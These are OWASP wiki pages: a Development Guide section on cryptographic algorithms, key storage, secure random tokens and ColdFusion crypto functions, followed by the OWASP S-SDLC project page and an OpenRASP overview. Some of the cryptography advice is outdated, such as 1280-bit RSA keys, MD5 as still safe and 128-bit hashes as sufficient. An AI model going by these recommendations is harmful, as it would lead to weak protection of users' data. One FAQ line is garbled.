A Certificate Authority (CA), whose public certificates are installed with browsers or otherwise commonly available, may also digitally sign public keys or certificates. We can authenticate remote systems or users via a mutual trust of an issuing CA. We trust their ‘root’ certificates, which in turn authenticate the public certificate presented by the server.
[[Category:FIXME|seems%20like%20there%20should%20be%20a%20noun%20after%20"avialable"]]

PGP and SSL are prime examples of a systems implementing asymmetric cryptography, using RSA or other algorithms.

===Hashes ===

Hash functions take some data of an arbitrary length (and possibly a key or password) and generate a fixed-length hash based on this input. Hash functions used in cryptography have the property that it is easy to calculate the hash, but difficult or impossible to re-generate the original input if only the hash value is known. In addition, hash functions useful for cryptography have the property that it is difficult to craft an initial input such that the hash will match a specific desired value.

MD5 and SHA-1 are common hashing algorithms used today. These algorithms are considered weak (see below) and are likely to be replaced after a process similar to the AES selection. New applications should consider using SHA-256 instead of these weaker algorithms.

===Key Exchange Algorithms ===

Lastly, we have key exchange algorithms (such as Diffie-Hellman for SSL). These allow use to safely exchange encryption keys with an unknown party.

==Algorithm Selection ==

As modern cryptography relies on being computationally expensive to break, specific standards can be set for key sizes that will provide assurance that with today’s technology and understanding, it will take too long to decrypt a message by attempting all possible keys.

Therefore, we need to ensure that both the algorithm and the key size are taken into account when selecting an algorithm.

===How to determine if you are vulnerable ===

Proprietary encryption algorithms are not to be trusted as they typically rely on ‘security through obscurity’ and not sound mathematics. These algorithms should be avoided if possible.

Specific algorithms to avoid:

* MD5 has recently been found less secure than previously thought. While still safe for most applications such as hashes for binaries made available publicly, secure applications should now be migrating away from this algorithm.

* SHA-0 has been conclusively broken. It should no longer be used for any sensitive applications.

* SHA-1 has been reduced in strength and we encourage a migration to SHA-256, which implements a larger key size.

* DES was once the standard crypto algorithm for encryption; a normal desktop machine can now break it. AES is the current preferred symmetric algorithm.

Cryptography is a constantly changing field. As new discoveries in cryptanalysis are made, older algorithms will be found unsafe. In addition, as computing power increases the feasibility of brute force attacks will render other cryptosystems or the use of certain key lengths unsafe. Standard bodies such as NIST should be monitored for future recommendations.

Specific applications, such as banking transaction systems, may have specific requirements for algorithms and key sizes.

===How to protect yourself ===

Assuming you have chosen an open, standard algorithm, the following recommendations should be considered when reviewing algorithms:

'''Symmetric:'''

* Key sizes of 128 bits (standard for SSL) are sufficient for most applications

* Consider 168 or 256 bits for secure systems such as large financial transactions

* [https://paragonie.com/blog/2015/05/using-encryption-and-authentication-correctly Symmetric-key encryption protocols should include message authentication]

* [http://www.thoughtcrime.org/blog/the-cryptographic-doom-principle/ Always Encrypt then MAC!]

'''Asymmetric:'''

The difficulty of cracking a 2048 bit key compared to a 1024 bit key is far, far, far, more than the twice you might expect. Don’t use excessive key sizes unless you know you need them. Bruce Schneier in 2002 (see the references section) recommended the following key lengths for circa 2005 threats:

* Key sizes of 1280 bits are sufficient for most personal applications

* 1536 bits should be acceptable today for most secure applications

* 2048 bits should be considered for highly protected applications.

'''Hashes:'''

* Hash sizes of 128 bits (standard for SSL) are sufficient for most applications

* Consider 168 or 256 bits for secure systems, as many hash functions are currently being revised (see above).

NIST and other standards bodies will provide up to date guidance on suggested key sizes.

'''Design your application to cope with new hashes and algorithms'''

==Key Storage ==

As highlighted above, crypto relies on keys to assure a user’s identity, provide confidentiality and integrity as well as non-repudiation. It is vital that the keys are adequately protected. Should a key be compromised, it can no longer be trusted.

Any system that has been compromised in any way should have all its cryptographic keys replaced.

===How to determine if you are vulnerable ===

Unless you are using hardware cryptographic devices, your keys will most likely be stored as binary files on the system providing the encryption.

Can you export the private key or certificate from the store?

* Are any private keys or certificate import files (usually in PKCS#12 format) on the file system? Can they be imported without a password?

* Keys are often stored in code. This is a bad idea, as it means you will not be able to easily replace keys should they become compromised.

===How to protect yourself ===

* Cryptographic keys should be protected as much as is possible with file system permissions. They should be read only and only the application or user directly accessing them should have these rights.

* Private keys should be marked as not exportable when generating the certificate signing request.

* Once imported into the key store (CryptoAPI, Certificates snap-in, Java Key Store, etc.), the private certificate import file obtained from the certificate provider should be safely destroyed from front-end systems. This file should be safely stored in a safe until required (such as installing or replacing a new front end server).

* Host based intrusion systems should be deployed to monitor access of keys. At the very least, changes in keys should be monitored.

* Applications should log any changes to keys.

* Pass phrases used to protect keys should be stored in physically secure places; in some environments, it may be necessary to split the pass phrase or password into two components such that two people will be required to authorize access to the key. These physical, manual processes should be tightly monitored and controlled.

* Storage of keys within source code or binaries should be avoided. This not only has consequences if developers have access to source code, but key management will be almost impossible.

* In a typical web environment, web servers themselves will need permission to access the key. This has obvious implications that other web processes or malicious code may also have access to the key. In these cases, it is vital to minimize the functionality of the system and application requiring access to the keys.

* For interactive applications, a sufficient safeguard is to use a pass phrase or password to encrypt the key when stored on disk. This requires the user to supply a password on startup, but means the key can safely be stored in cases where other users may have greater file system privileges.

Storage of keys in hardware crypto devices is beyond the scope of this document. If you require this level of security, you should really be consulting with crypto specialists.

==Insecure transmission of secrets ==

In security, we assess the level of trust we have in information. When applied to transmission of sensitive data, we need to ensure that encryption occurs before we transmit the data onto any untrusted network.

In practical terms, this means we should aim to encrypt as close to the source of the data as possible.

===How to determine if you are vulnerable ===

This can be extremely difficult without expert help. We can try to at least eliminate the most common problems:

* The encryption algorithm or protocol needs to be adequate to the task. The above discussion on weak algorithms and weak keys should be a good starting point.

* We must ensure that through all paths of the transmission we apply this level of encryption.

* Extreme care needs to be taken at the point of encryption and decryption. If your encryption library needs to use temporary files, are these adequately protected?

* Are keys stored securely? Is an unsecured file left behind after it has been encrypted?

===How to protect yourself ===

We have the possibility to encrypt or otherwise protect data at different levels. Choosing the right place for this to occur can involve looking at both security as well as resource requirements.

'''Application''': at this level, the actual application performs the encryption or other crypto function. This is the most desirable, but can place additional strain on resources and create unmanageable complexity. Encryption would be performed typically through an API such as the OpenSSL toolkit (www.openssl.com) or operating system provided crypto functions.

An example would be an S/MIME encrypted email, which is transmitted as encoded text within a standard email. No changes to intermediate email hosts are necessary to transmit the message because we do not require a change to the protocol itself.

'''Protocol''': at this layer, the protocol provides the encryption service. Most commonly, this is seen in HTTPS, using SSL encryption to protect sensitive web traffic. The application no longer needs to implement secure connectivity. However, this does not mean the application has a free ride. SSL requires careful attention when used for mutual (client-side) authentication, as there are two different session keys, one for each direction. Each should be verified before transmitting sensitive data.

Attackers and penetration testers love SSL to hide malicious requests (such as injection attacks for example). Content scanners are most likely unable to decode the SSL connection, letting it pass to the vulnerable web server.

'''Network''': below the protocol layer, we can use technologies such as Virtual Private Networks (VPN) to protect data. This has many incarnations, the most popular being IPsec (Internet Protocol v6 Security), typically implemented as a protected ‘tunnel’ between two gateway routers. Neither the application nor the protocol needs to be crypto aware – all traffic is encrypted regardless.

Possible issues at this level are computational and bandwidth overheads on network devices.

==Reversible Authentication Tokens ==

Today’s web servers typically deal with large numbers of users. Differentiating between them is often done through cookies or other session identifiers. If these session identifiers use a predictable sequence, an attacker need only generate a value in the sequence in order to present a seemingly valid session token.

This can occur at a number of places; the network level for TCP sequence numbers, or right through to the application layer with cookies used as authenticating tokens.

===How to determine if you are vulnerable ===

Any deterministic sequence generator is likely to be vulnerable.

===How to protect yourself ===

The only way to generate secure authentication tokens is to ensure there is no way to predict their sequence. In other words: true random numbers.

It could be argued that computers can not generate true random numbers, but using new techniques such as reading mouse movements and key strokes to improve entropy has significantly increased the randomness of random number generators. It is critical that you do not try to implement this on your own; use of existing, proven implementations is highly desirable.

Most operating systems include functions to generate random numbers that can be called from almost any programming language.

'''Windows & .NET:''' On Microsoft platforms including .NET, it is recommended to use the inbuilt CryptGenRandom function (<u>http://msdn.microsoft.com/library/default.asp?url=/library/en-us/seccrypto/security/cryptgenrandom.asp</u>.

'''Unix:''' For all Unix based platforms, OpenSSL is an excellent option (<u>http://www.openssl.org/</u>). It features tools and API functions to generate random numbers. On some platforms, /dev/urandom is a suitable source of pseudo-random entropy.

'''PHP:''' mt_rand() uses a Mersenne Twister, but is nowhere near as good as CryptoAPI’s secure random number generation options, OpenSSL, or /dev/urandom which is available on many Unix variants. mt_rand() has been noted to produce the same number on some platforms – test prior to deployment. '''Do not use rand() as it is very weak.'''

'''Java:''' java.security.SecureRandom within the Java Cryptography Extension (JCE) provides secure random numbers. This should be used in preference to other random number generators.

'''ColdFusion: '''ColdFusion MX 7 leverages the JCE java.security.SecureRandom class of the underlying JVM as its pseudo random number generator (PRNG)'''''.'' '''

==Safe UUID generation ==

UUIDs (such as GUIDs and so on) are only unique if you generate them. This seems relatively straightforward. However, there are many code snippets available that contain existing UUIDS.

===How to determine if you are vulnerable ===

# Determine the source of your existing UUIDS
## Did they come from MSDN?
## Or from an example found on the Internet?
# Use your favorite search engine to find out

===How to protect yourself ===

* Do not cut and paste UUIDs and GUIDs from anything other than the UUIDGEN program or from the UuidCreate() API

* Generate fresh UUIDs or GUIDs for each new program

==Summary ==

Cryptography is one of pillars of information security. Its usage and propagation has exploded due to the Internet and it is now included in most areas computing. Crypto can be used for:

* Remote access such as IPsec VPN

* Certificate based authentication

* Securing confidential or sensitive information

* Obtaining non-repudiation using digital certificates

* ?Online orders and payments

* Email and messaging security such as S/MIME

A web application can implement cryptography at multiple layers: application, application server or runtime (such as .NET), operating system and hardware. Selecting an optimal approach requires a good understanding of application requirements, the areas of risk, and the level of security strength it might require, flexibility, cost, etc.

Although cryptography is not a panacea, the majority of security breaches do not come from brute force computation but from exploiting mistakes in implementation. The strength of a cryptographic system is measured in key length. Using a large key length and then storing the unprotected keys on the same server eliminates most of the protection benefit gained. Besides the secure storage of keys, another classic mistake is engineering custom cryptographic algorithms (to generate random session ids for example). Many web applications were successfully attacked because the developers thought they could create their crypto functions.

Our recommendation is to use proven products, tools, or packages rather than rolling your own.

==Further Reading ==

* Wu, H., ''Misuse of stream ciphers in Word and Excel''

<u>http://eprint.iacr.org/2005/007.pdf</u>

* Bindview, ''Vulnerability in Windows NT's SYSKEY encryption''

<u>http://seclists.org/bugtraq/1999/Dec/208</u>

* Schneier, B. ''Is 1024 bits enough?, ''April 2002 Cryptogram

''<u>http://www.schneier.com/crypto-gram-0204.html#3</u> ''

* Schneier, B., Cryptogram,

<u>http://www.schneier.com/crypto-gram.html</u>

* NIST, Replacing SHA-1 with stronger variants: SHA-256 ? 512

<u>http://csrc.nist.gov/groups/ST/toolkit/secure_hashing.html</u>

* UUIDs are only unique if you generate them:

<u>http://blogs.msdn.com/larryosterman/archive/2005/07/21/441417.aspx</u>

* Cryptographically Secure Random Numbers on Win32:

<u>http://blogs.msdn.com/michael_howard/archive/2005/01/14/353379.aspx</u>

==Cryptography ==

The following section describes ColdFusion’s cryptography features. ColdFusion MX leverages the Java Cryptography Extension (JCE) of the underlying J2EE platform for cryptography and random number generation. It provides functions for symmetric (or private-key) encryption. While it does not provide native functionality for public-key (asymmetric) encryption, it does use the Java Secure Socket Extension (JSSE) for SSL communication.

'''Pseudo-Random Number Generation'''

ColdFusion provides three functions for random number generation: rand(), randomize(), and randRange(). Function descriptions and syntax:

'''Rand''' – Use to generate a pseudo-random number

''' rand([algorithm])'''

'''Randomize''' – Use to seed the pseudo-random number generator (PRNG) with an integer.

''' randomize(number [, algorithm])'''

'''RandRange''' – Use to generate a pseudo-random integer within the range of the specified numbers

''' randrange(number1, number2 [, algorithm])'''

The following values are the allowed algorithm parameters:

CFMX_COMPAT: (default) – Invokes java.util.rand

SHA1PRNG: (recommended) – Invokes java.security.SecureRandom using the Sun Java SHA-1 PRNG algorithm.

IBMSecureRandom: IBM WebSphere’s JVM does not support the SHA1PRNG algorithm.

'''Symmetric Encryption'''

ColdFusion MX 7 provides six encryption functions: decrypt(), decryptBinary(), encrypt(), encryptBinary(), generateSecretKey(), and hash(). Function descriptions and syntax:

'''Decrypt''' – Use to decrypt encrypted strings with specified key, algorithm, encoding, initialization vector or salt, and iterations

''' decrypt(encrypted_string, key[, algorithm[, encoding[, IVorSalt[, iterations]]]]))'''

'''DecryptBinary''' – Use to decrypt encrypted binary data with specified key, algorithm, initialization vector or salt, and iterations

''' decryptBinary(bytes, key[, algorithm[, IVorSalt[, iterations]]])'''

'''Encrypt''' – Use to encrypt string using specific algorithm, encoding, initialization vector or salt, and iterations

''' encrypt(string, key[, algorithm[, encoding[, IVorSalt[, iterations]]]]))'''

'''EncryptBinary''' – Use to encrypt binary data with specified key, algorithm, initialization vector or salt, and iterations

''' encryptBinary(bytes, key[, algorithm[, IVorSalt[, iterations]]])'''

'''GenerateSecretKey''' – Use to generate a secure key using the specified algorithm for the encrypt and encryptBinary functions

''' generateSecretKey(algorithm)'''

'''Hash '''– Use for one-way conversion of a variable-length string to fixed-length string using the specified algorithm and encoding

''' hash(string[, algorithm[, encoding]] )'''

ColdFusion offers the following default algorithms for these functions:

CFMX_COMPAT: the algorithm used in ColdFusion MX and prior releases. This algorithm is the least secure option (default).

AES: the Advanced Encryption Standard specified by the National Institute of Standards and Technology (NIST) FIPS-197. (recommended)

BLOWFISH: the Blowfish algorithm defined by Bruce Schneier.

DES: the Data Encryption Standard algorithm defined by NIST FIPS-46-3.

DESEDE: the "Triple DES" algorithm defined by NIST FIPS-46-3.

PBEWithMD5AndDES: A password-based version of the DES algorithm which uses a MD5 hash of the specified password as the encryption key

PBEWithMD5AndTripleDES: A password-based version of the DESEDE algorithm which uses a MD5 hash of the specified password as the encryption key

The following algorithms are provided by default for the hash() function. Note, SHA algorithms used in ColdFusion are NIST FIPS-180-2 compliant:

CFMX_COMPAT: Generates a MD5 hash string identical to that generated by ColdFusion MX and ColdFusion MX 6.1 (default).

MD5: Generates a 128-bit digest.

SHA: Generates a 160-bit digest. (SHA-1)

SHA-256: Generates a 256-bit digest

SHA-384: Generates a 384-bit digest

SHA-512: Generates a 512-bit digest

'''Pluggable Encryption'''

ColdFusion MX 7 introduced pluggable encryption for CFML. The JCE allows developers to specify multiple cryptographic service providers. ColdFusion can leverage the algorithms, feedback modes, and padding methods of third-party Java security providers to strengthen its cryptography functions. For example, ColdFusion can leverage the Bouncy Castle ('''<u>http://www.bouncycastle.org/''') crypto package and use the SHA-224 algorithm for the hash() function or the Serpent block encryption for the encrypt() function.

See Macromedia’s Strong Encryption in ColdFusion MX 7 technote for information on installing additional security providers for ColdFusion at http://www.macromedia.com/go/e546373d.

'''SSL'''

ColdFusion does not provide tags and functions for public-key encryption, but it can communicate over SSL. ColdFusion leverages the Sun JSSE to communicate over SSL with web and LDAP (lightweight directory access protocol) servers. ColdFusion uses the Java certificate database (e.g. jre_root/lib/security/cacerts) to store server certificates. It compares presented certificate of remote systems to those stored in the database. It also grabs the host system’s certificate from this database and uses it to present to remote systems to initiate the SSL handshake. Certificate information is then exposed as CGI variables.

'''''Best Practices'''''

*Enable /dev/urandom for higher entropy for random number generation

*Call the randomize function before calling rand() or randRange() to seed the random number generator

*DO NOT use the CFMX_COMPAT algorithms. Upgrade your application to use stronger cryptographic ciphers.

*Use AES or higher for symmetric encryption

*Use SHA-256 or higher for the hash function

*Use a salt (or random string) for password generation with the hash function

*Always use generateSecretKey() to generate keys of the appropriate length for Block Encryption algorithms unless a customized key is required

*Use separate key databases to store remote server certificates separately from the ColdFusion server’s certificate

[[Guide Table of Contents|Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]
[[Category:Encryption]]

Cryptographic Storage Cheat Sheet

2018-06-13T09:42:21Z

Peter Mosmans: Add Argon2 as recommended algorithm

XML External Entity (XXE) Prevention Cheat Sheet

2018-06-13T07:23:52Z

Peter Mosmans: Add clarification

OWASP Secure Software Development Lifecycle Project

2018-06-08T06:00:31Z

Peter Mosmans: Correct minor grammar errors

=Main=

<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:OWASP_Project_Header.jpg|link=]]</div>


{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
<span style="color:#ff0000"></span>

==OWASP Secure Software Development Lifecycle Project(S-SDLC)==


<span style="color:#ff0000"></span>

OWASP Secure Software Development Life Cycle Project(S-SDLC) is an overall security software methodology for Web and APP developers.

Its aim is to define a standard Secure Software Development Life Cycle and then help developers to know what should be considered or best practices at each phase of a development Life Cycle (e.g. Design Phase/Coding Phase/Maintain Phase/etc.)

Software security has now become a wider concept other than network security.
There is a developing common sense that creating secured enough software is not just about individual skills but also or even more on work flows-- Software Development Life Cycle. To achieve security requires to be involved in every phase of a Secure Software Development Life Cycle.

The project’s final goal is to help users to reduce security issues, and raise the overall security level from every stage by using the methodology.

==Description==


<span style="color:#ff0000"></span>

OWASP Secure Software Development Life Cycle Project(S-SDLC) defines security software development process as well as guides, tools, checklists and templates of activities in each phase.

The project’s final goal is to help users to reduce security issues, and raise the overall security level from every stage by using the methodology.

OWASP Secure Software Development Life Cycle Project defines security software development process as well as guides, tools, checklists and templates of activities in each phase.

The delivery will contain(not final):

• Introduction: S-SDLC frame

• Training guideline: Providing Security Training System

• Requirements Phase: Risk Evaluation Guideline, and Requirements Criteria Doc.

• Design Phase: Security Design Review Guideline and Threat Modeling Guideline.

• Implement Phase: Security Coding Guide(C/C++、JAVA、PHP，C#)

• Validation Phase: Actives level, Security Testing Guideline

• Release/maintenance Phase: Vulnerability Management and Incident Response Guideline

Detail information is in below table of content:

{| class="wikitable sortable"
!Sub-Project Name
!Purpose
!RoadMap
!Sub-Porject Owner and Participant
!Output and Delivery
!Ref
|-
|OWASP S-SDLC Project
|OWASP Secure Software Development Life Cycle Project defines security software development process. This part of the project is an overview of the life cycle.
|2017Q3
|Project Owner：

RIP

Silver Zhang

kevin

Yuezhong Bao

Tianze Xia

Project Manager：

XuFei
|OWASP S-SDLC Project Introduction Doc and Slides
|
|-
|OWASP S-SDLC Overall Flow
|This part of the OWASP S-SDLC Project defines phases of the life cycle and give suggestions and best practices of adoption.
|2017Q2-Q4
|kevin

Peter Xiao
|Best Practices of S-SDLC in Enterprises
|
|-
|OWASP S-SDLC Security Awareness Training
|This part provides guidelines of security awareness trainings. These trainings are to enhance the sensitivity of security of software developers.
|2017Q2-Q4
|Jie Wang
|(1)Training slides
(2)Training Videos

(3)Examples of examination questions

(4) Top 10 secrutiy incidents of years for awareness training
|(1)OWASP TOP 10

(2)OWASP MOBILE TOP 10

(3)OWASP IoT TOP 10
|-
|OWASP S-SDLC Security Requirement
|This part of OWASP S-SDLC aims to acquire security requirements by identifying the functional implementation, position in industry or general security requirements (eg, compliance requirements).
|2017Q2-Q4
|Tianze Xia
|(1)Best Practices of S-SDLC Security Requirement

(2)Security Requirement Checklist
|OWASP Cheat Sheet Series

|-
|OWASP S-SDLC Security Design
|This part of S-SDLC will guide to deliver a doable security design to the implementation team by considering potential technical security risks. So that by avoiding the early detections of security risks, the cost to build secure products is in control.
|2017Q2-Q4
|Lance Li
|(1)Best Practices of S-SDLC Security Design

(2)Benchmark of OWASP security baseline

(3)Threat Modeling Guide

(4)Security Guideline for Common Components
|(1)Application Threat Modeling

(2)OWASP ESAPI
|-
|OWASP S-SDLC Security Implementation
|The goal of this sub-project of OWASP S-SDLC are to:

(1) Let implementation teams do secure coding. The key is to let team understand security features of the language and framework they use, and obey the output of the S-SDLC security design

(2) Let implementation teams identify and fix defects in legacy codes. The key is to adopt automated, efficient tech (eg. IAST) by providing guidelines and best practices.
|2017Q2-Q4
|
Kan Yu

Ricky

|(1)Best Practices of S-SDLC Security Implementation

(2)Security Sriteria Checking Tool Sets for Coding

(3)Guideline for OWASP Code Review
|(1)OWASP Code Review Guide Project

(2)OWASP Cheat Sheet Series
|-
|OWASP S-SDLC Security Test
|Security testing is a process intended to reveal flaws in the security mechanisms of an information system that protect data and maintain functionality as intended

Typical security requirements may include specific elements of confidentiality, integrity, authentication, availability, authorization and non-repudiation. Actual security requirements tested depend on the security requirements implemented by the system. Due to the logical limitations of security testing, passing security testing is not an indication that no flaws exist or that the system adequately satisfies the security requirements.

This part of the OWASP S-SDLC project will provide some best practice and useful tips of security testing to help a.) Beginners can start security test easily; b.) Professionals can use for reference.

|2017Q2-Q4
|Tianze Xia
|(1)Best Practice of S-SDLC security testing

(2)Best Practice of OWASP Cheat sheet

(3) Best Practice of OWASP ASVS
|(1)OWASP testing Guide

(2)OWASP Cheat sheet

(3)OWASP Application Security Verification Standard Project (ASVS)

|-
|OWASP S-SDLC Security Deployment & SecDevOps
|In this phase of the S-SDLC focus on security auditing before deployment and security monitoring. The sub-project will research on

(1) develop a appropriate security baseline for deployment and devops

(2) the process of incident response and related tech.

(3)SecDevOps

|2017Q2-Q4
|RIP
BaiDu,Inc

Creditease,Inc
|(1)Best Practice of S-SDLC security Deployment

(2)Best Practice of S-SDLC SecDevOps

(3)Security Baseline for deployment and devops

(4)OpenRASP

(5)The "Insight" Platform
|OWASP AppSensor
OpenRASP

[https://github.com/creditease-sec/insight Insight Platform]

|}

==Licensing==


<span style="color:#ff0000"></span>

Creative Commons Attribution ShareAlike 3.0 License

'''The OWASP Secure Software Development Lifecycle Project materials are free to use. In fact it is encouraged!!!'''
'' Additionally, I also encourage you to contribute back to the project. I have no monopoly on this knowledge; however, we all have pieces of this knowledge from our experience. Let's begin by putting our individual pieces together to make something great. Great things happen when people work together.''

The OWASP Secure Software Development Lifecycle Project materials are licensed under the http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Attribution-ShareAlike 3.0 license], so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.


| valign="top" style="padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;" |

== What is OWASP Security Principles Project? ==


<span style="color:#ff0000"></span>

OWASP Secure Software Development Life Cycle Project is an overall security software methodology for Web and APP developers.

The project’s goal is to help users to reduce security issues, and raise the overall security level from every stage by using the methodology.

== Presentation ==


<span style="color:#ff0000"></span>

To be updated...

== Project Leader ==


<span style="color:#ff0000"></span>

The OWASP Secure Software Development Lifecycle Project is developed by a worldwide team of volunteers. A live update of project [https://github.com/OWASP/Security-Principles/graphs/contributors contributors is found here].

The first contributors to the project were:

* '''[mailto:Rip@owasp.org.cn RIP]'''
* '''[mailto:silver@owasp.org.cn Silver Zhang]'''
* '''[mailto:xtz@seczone.cn Tianze Xia]'''

== Related Projects ==


<span style="color:#ff0000"></span>

* [[OWASP_CISO_Survey]]

To be updated...

== Openhub ==

* [https://www.openhub.net/orgs/OWASP OWASP Project Openhub]


| valign="top" style="padding-left:25px;width:200px;" |

== Quick Download ==


<span style="color:#ff0000"></span>



To be updated...

== News and Events ==


<span style="color:#ff0000"></span>

To be updated...

== In Print ==


<span style="color:#ff0000"></span>



To be updated...

==Classifications==


<span style="color:#ff0000"></span>

{| width="200" cellpadding="2"
|-
| rowspan="2" align="center" valign="top" width="50%" | [[File:New projects.png|100px|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]
| align="center" valign="top" width="50%" | [[File:Owasp-builders-small.png|link=]]
|-
| align="center" valign="top" width="50%" | [[File:Owasp-defenders-small.png|link=]]
|-
| colspan="2" align="center" | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]
|-
| colspan="2" align="center" | [[File:Project_Type_Files_DOC.jpg|link=]]
|}

|}

=FAQs=


<span style="color:#ff0000"></span>

==How can I participate in your project?==
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key.

==If I am not a programmer can I participate in your project?==
Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for researchers, writers, graphic designers, and a project administrator.

= Acknowledgements =

==Contributors==


<span style="color:#ff0000"></span>

The OWASP Secure Software Development Lifecycle Project is developed by a worldwide team of volunteers. A live update of project [https://github.com/OWASP/Security-Principles/graphs/contributors contributors is found here].

The first contributors to the project were:

* '''[mailto:Rip@owasp.org.cn RIP]''' (Sub-project Owner)
* '''[mailto:silver@owasp.org.cn Silver Zhang]'''(Sub-project Owner)
* Kevin (Sub-project Owner)
* '''[mailto:sky@owasp.org.cn Xia Tianze]''' (Sub-project Owner)
* ''' [mailto:yukan@owasp.org.cn Yu Kan]'''(Sub-project Owner)
* '''[mailto:Lance@owasp.org.cn Lance Li]''' (Sub-project Owner)
* Bao Yuezhong (Participant)
* Ricky Xu (Participant)
* Wang Jie (Participant)

= Road Map and Getting Involved =


<span style="color:#ff0000"></span>

Base on the current estimation, the roadmap of the OWASP Secure Software Development Life Cycle Project is below:

{| class="wikitable sortable"
!Sub-Project Name
!Purpose
!RoadMap
!Sub-Porject Owner and Participant
!Output and Delivery
!Ref
|-
|OWASP S-SDLC Project
|OWASP Secure Software Development Life Cycle Project defines security software development process. This part of the project is an overview of the life cycle.
|2017Q3
|Project Owner：

RIP

Kevin

Yuezhong Bao

Tianze Xia

Project Manager：

XuFei
|OWASP S-SDLC Project Introduction Doc and Slides
|
|-
|OWASP S-SDLC Overall Flow
|This part of the OWASP S-SDLC Project defines phases of the life cycle and give suggestions and best practices of adoption.
|2017Q2-Q4
|Kevin

Peter Xiao
|Best Practices of S-SDLC in Enterprises
|
|-
|OWASP S-SDLC Security Awareness Training
|This part provides guidelines of security awareness trainings. These trainings are to enhance the sensitivity of security of software developers.
|2017Q2-Q4
|Jie Wang
|(1)Training slides
(2)Training Videos

(3)Examples of examination questions
|(1)OWASP TOP 10

(2)OWASP MOBILE TOP 10

(3)OWASP IoT TOP 10
|-
|OWASP S-SDLC Security Requirement
|This part of OWASP S-SDLC aims to acquire security requirements by identifying the functional implementation, position in industry or general security requirements (eg, compliance requirements).
|2017Q2-Q4
|Tianze Xia
|(1)Best Practices of S-SDLC Security Requirement

(2)Security Requirement Checklist
|OWASP Cheat Sheet Series

|-
|OWASP S-SDLC Security Design
|This part of S-SDLC will guide to deliver a doable security design to the implementation team by considering potential technical security risks. So that by avoiding the early detections of security risks, the cost to build secure products is in control.
|2017Q2-Q4
|Lance Li
|(1)Best Practices of S-SDLC Security Design

(2)Benchmark of OWASP security baseline

(3)Threat Modeling Guide

(4)Security Guideline for Common Components
|(1)Application Threat Modeling

(2)OWASP ESAPI
|-
|OWASP S-SDLC Security Implementation
|The goal of this sub-project of OWASP S-SDLC are to:

(1) Let implementation teams do secure coding. The key is to let team understand security features of the language and framework they use, and obey the output of the S-SDLC security design

(2) Let implementation teams identify and fix defects in legacy codes. The key is to adopt automated, efficient tech (eg. IAST) by providing guidelines and best practices.
|2017Q2-Q4
|
Kan Yu

Ricky

|(1)Best Practices of S-SDLC Security Implementation

(2)Security Sriteria Checking Tool Sets for Coding

(3)Guideline for OWASP Code Review
|(1)OWASP Code Review Guide Project

(2)OWASP Cheat Sheet Series
|-
|OWASP S-SDLC Security Test
|Security testing is a process intended to reveal flaws in the security mechanisms of an information system that protect data and maintain functionality as intended

Typical security requirements may include specific elements of confidentiality, integrity, authentication, availability, authorization and non-repudiation. Actual security requirements tested depend on the security requirements implemented by the system. Due to the logical limitations of security testing, passing security testing is not an indication that no flaws exist or that the system adequately satisfies the security requirements.

This part of the OWASP S-SDLC project will provide some best practice and useful tips of security testing to help a.) Beginners can start security test easily; b.) Professionals can use for reference.

|2017Q2-Q4
|Tianze Xia
|(1)Best Practice of S-SDLC security testing

(2)Best Practice of OWASP Cheat sheet

(3) Best Practice of OWASP ASVS
|(1)OWASP testing Guide

(2)OWASP Cheat sheet

(3)OWASP Application Security Verification Standard Project (ASVS)

|-
|OWASP S-SDLC Security Deployment & SecDevOps
|In this phase of the S-SDLC focus on security auditing before deployment and security monitoring. The sub-project will research on

(1) develop a appropriate security baseline for deployment and devops

(2) the process of incident response and related tech.

(3)SecDevOps
|2017Q2-Q4
|RIP
|(1)Best Practice of S-SDLC security Deployment

(2)Best Practice of S-SDLC SecDevOps

(3)Security Baseline for deployment and devops

(4)OpenRASP
|OWASP AppSensor
OpenRASP
|}

Involvement in the development and promotion of the OWASP Secure Software Development Lifecycle Project is actively encouraged!
You do not have to be a security expert in order to contribute.
Some of the ways you can help:
* Helping find references to some of the principles.
* Project administration support.
* Wiki editing support.
* Writing support for the book.




= Related stuffs =

This Page includes S-SDLC releated stuffs. Categorized as a.)Tools b.) Libraries c.)Technical Docs

== Tools ==
* '''OpenRASP'''
OpenRASP is an open-source, free and self-adapting security tool made for OWASP S-SDLC Security Deployment & SecDevOps phase.

It can provide functions like threat detection, data stream monitor, quick-response to production by the deep integration of its protection engine.

Unlike other perimeter control solutions like WAF, OpenRASP directly integrates its protection engine into the application server by instrumentation. It can monitor various events including database queries, file operations and network requests etc.

When an attack happens, WAF matches the malicious request with its signatures and blocks it. OpenRASP takes a different approach by hooking sensitive functions and examines/blocks the inputs fed into them. As a result, this examination is context-aware and in-place. It brings in the following benefits:

1. Only successful attacks can trigger alarms, resulting in lower false positive and higher detection rate;

2. Detailed stack trace is logged, which makes the forensic analysis easier;

3. Insusceptible to malformed protocol.

====== OpenRASP FAQ ======
1. List of supported web applicationBelow table shows the recent updates of the project.Below tables shows recent updateBelow table shows recent updates.s. servers

Only Java based web application servers are supported for now. The support of other web application servers will also be soon included in the coming releases.

OpenRASP on the following application servers for both Linux and Windows platforms has been tested.
* Tomcat 6-8
* JBoss 4.X
* WebLogic 11/12
2. Performance impact on application servers

Multiple intense and long-lasting stress tests has been taken. Even in the worst-case scenario (where the hook point got continuously triggered) the server’s performance was only reduced by 10%

3. Integration with existing SIEM or SOC

OpenRASP logs alarms in JSON format, which can be easily picked up by LogStash, rsyslog or Flume.

4. How to develop a new plugin?

A plugin receives a callback when an event occurs. It then determines if the current behavior is malicious or not and blocks the associated request if necessary.

Detailed documents available on [https://github.com/baidu/openrasp github].

* '''"INSIGHT" Platform'''
